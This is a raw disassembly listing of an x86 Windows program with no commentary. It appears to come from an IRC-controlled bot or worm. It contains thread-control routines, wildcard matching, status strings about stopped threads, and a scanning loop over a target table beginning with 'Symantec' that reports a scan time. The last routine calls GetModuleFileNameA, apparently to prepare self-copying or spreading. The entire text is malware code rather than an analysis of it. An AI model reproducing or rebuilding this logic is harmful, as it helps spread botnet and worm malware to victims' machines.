		jnz	short loc_40A8F8
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40A925


loc_40A8F8:				; CODE XREF: sub_40A8BA+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset dword_449238
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 24h


loc_40A925:				; CODE XREF: sub_40A8BA+2Dj
					; sub_40A8BA+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4E05C8
		jl	short loc_40A8E4
		pop	edi
		pop	esi
		leave
		retn
sub_40A8BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A938	proc near		; CODE XREF: sub_401CC1+6E28p
					; sub_40A9C6+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40A9C0
		cmp	esi, 400h
		jge	short loc_40A9C0
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_4537DC[esi]
		lea	edi, dword_4537DC[esi]
		call	dword_4F1368	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40A970
		push	1
		pop	ebp


loc_40A970:				; CODE XREF: sub_40A938+33j
		mov	[edi], ebx
		lea	edi, dword_4537D0[esi]
		mov	dword_4537C8[esi], ebx
		mov	dword_4537CC[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40A991
		push	eax
		call	sub_4178FE
		pop	ecx


loc_40A991:				; CODE XREF: sub_40A938+50j
		mov	[edi], ebx
		lea	edi, dword_4537D4[esi]
		mov	byte ptr dword_4535C8[esi], bl
		mov	byte_4537E0[esi], bl
		push	dword ptr [edi]
		call	dword_4E0934
		lea	esi, dword_4537D8[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4E0934
		mov	[esi], ebx
		pop	edi


loc_40A9C0:				; CODE XREF: sub_40A938+Dj
					; sub_40A938+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40A938	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A9C6	proc near		; CODE XREF: sub_401317+18p
					; sub_40141B:loc_4019CDp ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_4535C8


loc_40A9D2:				; CODE XREF: sub_40A9C6+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40A9E3
		push	edi
		call	sub_40A938
		test	eax, eax
		pop	ecx
		jz	short loc_40A9E3
		inc	ebx


loc_40A9E3:				; CODE XREF: sub_40A9C6+Fj
					; sub_40A9C6+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4E05C8
		jl	short loc_40A9D2
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40A9C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9F8	proc near		; CODE XREF: sub_401CC1+3BD8p
					; sub_401CC1+3CABp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4537CC


loc_40AA0C:				; CODE XREF: sub_40A9F8+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40AA2E
		test	edi, edi
		jle	short loc_40AA20
		cmp	[esi], edi
		jz	short loc_40AA20
		cmp	ebx, edi
		jnz	short loc_40AA2E


loc_40AA20:				; CODE XREF: sub_40A9F8+1Ej
					; sub_40A9F8+22j
		push	ebx
		call	sub_40A938
		test	eax, eax
		pop	ecx
		jz	short loc_40AA2E
		inc	[ebp+var_4]


loc_40AA2E:				; CODE XREF: sub_40A9F8+1Aj
					; sub_40A9F8+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4E07CC
		jl	short loc_40AA0C
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A9F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA45	proc near		; CODE XREF: sub_40141B+409p
					; sub_401CC1+187Fp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_4537C8


loc_40AA4C:				; CODE XREF: sub_40AA45+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40AA55
		inc	eax


loc_40AA55:				; CODE XREF: sub_40AA45+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4E07C8
		jl	short loc_40AA4C
		retn
sub_40AA45	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA64	proc near		; CODE XREF: sub_401CC1+1F68p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_4537C8


loc_40AA6E:				; CODE XREF: sub_40AA64+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40AA87
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4E07C8
		jl	short loc_40AA6E
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AA87:				; CODE XREF: sub_40AA64+10j
		mov	eax, edx
		pop	esi
		retn
sub_40AA64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA8B	proc near		; CODE XREF: sub_401CC1+D33p
					; sub_401CC1+F39p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40AAA4
		push	[ebp+arg_1C]
		call	sub_41B3F0
		pop	ecx


loc_40AAA4:				; CODE XREF: sub_40AA8B+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40A9F8
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40AAD0
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B740
		add	esp, 14h
		jmp	short loc_40AAEA
; ---------------------------------------------------------------------------


loc_40AAD0:				; CODE XREF: sub_40AA8B+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B740
		add	esp, 10h


loc_40AAEA:				; CODE XREF: sub_40AA8B+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40AB0A
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_40AB0A:				; CODE XREF: sub_40AA8B+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41458A
		pop	ecx
		leave
		retn
sub_40AA8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB19	proc near		; CODE XREF: sub_4019E1+159p
					; sub_40A868+40p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_4537DC[eax], ecx
		mov	dword_4537C8[eax], ecx
		mov	dword_4537CC[eax], ecx
		mov	dword_4537D0[eax], ecx
		mov	dword_4537D4[eax], ecx
		mov	dword_4537D8[eax], ecx
		mov	byte ptr dword_4535C8[eax], cl
		mov	byte_4537E0[eax], cl
		retn
sub_40AB19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB56	proc near		; CODE XREF: sub_401CC1+709Dp
					; sub_40AC84+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40AB60:				; CODE XREF: sub_40AB56+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40ABC0
		cmp	eax, 1
		jnz	short loc_40ABC0
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40ABC0
		cmp	cl, 2Ah
		jz	short loc_40ABA7
		cmp	cl, 3Fh
		jz	short loc_40AB8A
		cmp	cl, 5Bh
		jz	short loc_40AB8F
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40AB8A:				; CODE XREF: sub_40AB56+26j
		inc	[ebp+arg_4]
		jmp	short loc_40ABBA
; ---------------------------------------------------------------------------


loc_40AB8F:				; CODE XREF: sub_40AB56+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40ABEC
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40ABBA
; ---------------------------------------------------------------------------


loc_40ABA7:				; CODE XREF: sub_40AB56+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40AC84
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40ABBA:				; CODE XREF: sub_40AB56+37j
					; sub_40AB56+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40AB60
; ---------------------------------------------------------------------------


loc_40ABC0:				; CODE XREF: sub_40AB56+Ej
					; sub_40AB56+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40ABD0
		cmp	eax, 1
		jnz	short loc_40ABE7
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40ABC0
; ---------------------------------------------------------------------------


loc_40ABD0:				; CODE XREF: sub_40AB56+6Dj
		cmp	eax, 1
		jnz	short loc_40ABE7
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40ABE7
		cmp	byte ptr [esi],	0
		jnz	short loc_40ABE7
		push	1
		pop	eax
		jmp	short loc_40ABE9
; ---------------------------------------------------------------------------


loc_40ABE7:				; CODE XREF: sub_40AB56+72j
					; sub_40AB56+7Dj ...
		xor	eax, eax


loc_40ABE9:				; CODE XREF: sub_40AB56+8Fj
		pop	esi
		pop	ebp
		retn
sub_40AB56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ABEC	proc near		; CODE XREF: sub_40AB56+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40AC0D
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40AC0D:				; CODE XREF: sub_40ABEC+19j
		push	ebx
		push	esi


loc_40AC0F:				; CODE XREF: sub_40ABEC+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40AC1D
		cmp	[ebp+var_4], eax
		jnz	short loc_40AC69


loc_40AC1D:				; CODE XREF: sub_40ABEC+2Aj
		test	edi, edi
		jnz	short loc_40AC5E
		cmp	bl, 2Dh
		jnz	short loc_40AC52
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40AC52
		cmp	al, 5Dh
		jz	short loc_40AC52
		cmp	[ebp+var_4], edi
		jnz	short loc_40AC52
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40AC5E
		cmp	bl, al
		jg	short loc_40AC5E
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40AC5E
; ---------------------------------------------------------------------------


loc_40AC52:				; CODE XREF: sub_40ABEC+38j
					; sub_40ABEC+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40AC5E
		push	1
		pop	edi


loc_40AC5E:				; CODE XREF: sub_40ABEC+33j
					; sub_40ABEC+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40AC0F
; ---------------------------------------------------------------------------


loc_40AC69:				; CODE XREF: sub_40ABEC+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40AC76
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40AC76:				; CODE XREF: sub_40ABEC+82j
		cmp	edi, eax
		jnz	short loc_40AC7F
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40AC7F:				; CODE XREF: sub_40ABEC+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40ABEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC84	proc near		; CODE XREF: sub_40AB56+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40ACA0:				; CODE XREF: sub_40AC84+3Aj
		cmp	[eax], bl
		jz	short loc_40ACC0
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40ACB5
		cmp	cl, 2Ah
		jnz	short loc_40ACC0
		cmp	cl, 3Fh
		jnz	short loc_40ACB8


loc_40ACB5:				; CODE XREF: sub_40AC84+25j
		inc	eax
		mov	[edi], eax


loc_40ACB8:				; CODE XREF: sub_40AC84+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40ACA0
; ---------------------------------------------------------------------------


loc_40ACC0:				; CODE XREF: sub_40AC84+1Ej
					; sub_40AC84+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40ACCB
		inc	dword ptr [esi]
		jmp	short loc_40ACC0
; ---------------------------------------------------------------------------


loc_40ACCB:				; CODE XREF: sub_40AC84+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40ACEC
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40ACDD
		xor	eax, eax
		jmp	short loc_40AD4C
; ---------------------------------------------------------------------------


loc_40ACDD:				; CODE XREF: sub_40AC84+53j
		cmp	cl, bl
		jnz	short loc_40ACEC
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40ACEC
		push	1
		pop	eax
		jmp	short loc_40AD4C
; ---------------------------------------------------------------------------


loc_40ACEC:				; CODE XREF: sub_40AC84+4Dj
					; sub_40AC84+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40AB56
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AD36


loc_40ACFA:				; CODE XREF: sub_40AC84+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40ACFE:				; CODE XREF: sub_40AC84+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40AD16
		cmp	cl, 5Bh
		jz	short loc_40AD16
		cmp	dl, bl
		jz	short loc_40AD16
		inc	eax
		mov	[edi], eax
		jmp	short loc_40ACFE
; ---------------------------------------------------------------------------


loc_40AD16:				; CODE XREF: sub_40AC84+82j
					; sub_40AC84+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40AD2D
		push	eax
		push	dword ptr [esi]
		call	sub_40AB56
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AD32
; ---------------------------------------------------------------------------


loc_40AD2D:				; CODE XREF: sub_40AC84+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40AD32:				; CODE XREF: sub_40AC84+A7j
		cmp	eax, ebx
		jnz	short loc_40ACFA


loc_40AD36:				; CODE XREF: sub_40AC84+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40AD49
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40AD49
		mov	[ebp+var_4], 1


loc_40AD49:				; CODE XREF: sub_40AC84+B6j
					; sub_40AC84+BCj
		mov	eax, [ebp+var_4]


loc_40AD4C:				; CODE XREF: sub_40AC84+57j
					; sub_40AC84+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AC84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD51	proc near		; CODE XREF: sub_401CC1+2668p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_449624
		push	eax
		xor	ebx, ebx
		call	sub_41B740
		cmp	dword_4492A8, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40ADC3
		push	esi
		mov	esi, offset dword_4492B0


loc_40AD84:				; CODE XREF: sub_40AD51+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40ADB9
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_449644
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C7A0
		add	esp, 1Ch


loc_40ADB9:				; CODE XREF: sub_40AD51+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40AD84
		pop	esi


loc_40ADC3:				; CODE XREF: sub_40AD51+2Bj
		push	dword_4E05CC
		call	sub_4187BE
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C7A0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41458A
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_40AD51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE1F	proc near		; CODE XREF: sub_401CC1+2652p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4E33C0
		mov	ecx, dword_4E33BC
		push	esi
		push	dword_4E05CC
		lea	esi, [ecx+eax]
		call	sub_4187BE
		push	eax
		push	esi
		push	dword_4E33C0
		lea	eax, [ebp+var_200]
		push	dword_4E33BC
		push	offset unk_449664
		push	eax
		call	sub_41B740
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41458A
		add	esp, 34h
		pop	esi
		leave
		retn
sub_40AE1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE8A	proc near		; CODE XREF: sub_401CC1+263Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4E05CC
		call	sub_4187BE
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4E361C
		push	offset unk_4496AC
		push	eax
		call	sub_41B740
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41458A
		add	esp, 2Ch
		leave
		retn
sub_40AE8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEDE	proc near		; CODE XREF: sub_401CC1+2626p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BC60
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_4496D8
		push	eax
		call	sub_41B740
		cmp	dword_4492A8, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40AF4A
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40AF13:				; CODE XREF: sub_40AEDE+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_4496F4
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C7A0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40AF13
		pop	esi


loc_40AF4A:				; CODE XREF: sub_40AEDE+2Dj
		push	dword_4E05CC
		call	sub_4187BE
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C7A0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41458A
		add	esp, 34h
		pop	edi
		leave
		retn
sub_40AEDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFA4	proc near		; DATA XREF: sub_401CC1+2B4Ao

var_3F0		= byte ptr -3F0h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+var_134]
		push	eax
		call	dword_4E08DC
		xor	edi, edi
		mov	[ebp+var_8], eax
		cmp	dword_4492A8, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jz	loc_40B102
		mov	ebx, offset dword_4492A8
		mov	eax, ebx


loc_40AFF5:				; CODE XREF: sub_40AFA4+158j
		push	[ebp+var_1C]
		push	dword ptr [eax]
		push	[ebp+var_8]
		call	sub_40B786
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B0F2
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_449714
		push	eax
		call	sub_41B740
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_408EB9
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_41458A
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_15C]
		push	esi
		push	eax
		call	sub_41B740
		add	esp, 3Ch
		cmp	[ebp+var_A4], 0
		lea	eax, [ebp+var_A4]
		jnz	short loc_40B08D
		lea	eax, [ebp+var_124]


loc_40B08D:				; CODE XREF: sub_40AFA4+E1j
		push	eax
		lea	eax, [ebp+var_1DC]
		push	eax
		call	sub_41B740
		mov	eax, [ebp+var_24]
		pop	ecx
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_140], eax
		mov	eax, [ebp+var_10]
		pop	ecx
		mov	[ebp+var_13C], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp+var_150], eax
		mov	eax, [ebp+var_18]
		push	2Fh
		mov	[ebp+var_14C], eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		lea	esi, [ebp+var_1F0]
		mov	edi, esp
		mov	[ebp+var_148], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	[ebp+var_4]
		xor	edi, edi


loc_40B0F2:				; CODE XREF: sub_40AFA4+64j
		inc	[ebp+arg_0]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40AFF5


loc_40B102:				; CODE XREF: sub_40AFA4+44j
		push	[ebp+var_4]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_449744
		push	eax
		call	sub_41B740
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_408EB9
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_41458A
		push	[ebp+var_18]
		call	sub_40AB19
		add	esp, 2Ch
		push	edi
		call	dword_4F1388	; ExitThread
sub_40AFA4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B155	proc near		; CODE XREF: sub_401CC1+1F83p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40AA45
		test	eax, eax
		pop	ecx
		jle	short loc_40B191
		mov	eax, [ebp+arg_C]
		push	dword_4E0A00[eax*8]
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_449778
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		jmp	short loc_40B1A4
; ---------------------------------------------------------------------------


loc_40B191:				; CODE XREF: sub_40B155+13j
		lea	eax, [ebp+var_200]
		push	offset unk_449794
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx


loc_40B1A4:				; CODE XREF: sub_40B155+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41458A
		add	esp, 18h
		leave
		retn
sub_40B155	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1CC	proc near		; CODE XREF: sub_40BC04+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40B69E
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_4492B4[eax], ebx
		jz	loc_40B69E
		push	5
		call	sub_40AA45
		test	eax, eax
		pop	ecx
		jnz	loc_40B453
		mov	eax, dword_43A078
		push	edi
		mov	esi, offset dword_4E2ABC
		push	104h
		push	esi
		push	ebx
		mov	dword_4E2CCC, eax
		mov	dword_4E2CC8, ebx
		call	dword_4F132C	; GetModuleFileNameA
		mov	edi, offset byte_43A0E8
		push	103h
		push	edi
		push	offset dword_4E2BC0
		call	sub_41B1F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4E2AB8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4E2D50, eax
		jnz	short loc_40B27F
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4E2CD0
		call	sub_41B1F0
		add	esp, 0Ch
		mov	dword_4E2D54, 1
		jmp	short loc_40B299
; ---------------------------------------------------------------------------


loc_40B27F:				; CODE XREF: sub_40B1CC+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4E2CD0
		call	sub_41B1F0
		add	esp, 0Ch
		mov	dword_4E2D54, ebx


loc_40B299:				; CODE XREF: sub_40B1CC+B1j
		push	esi
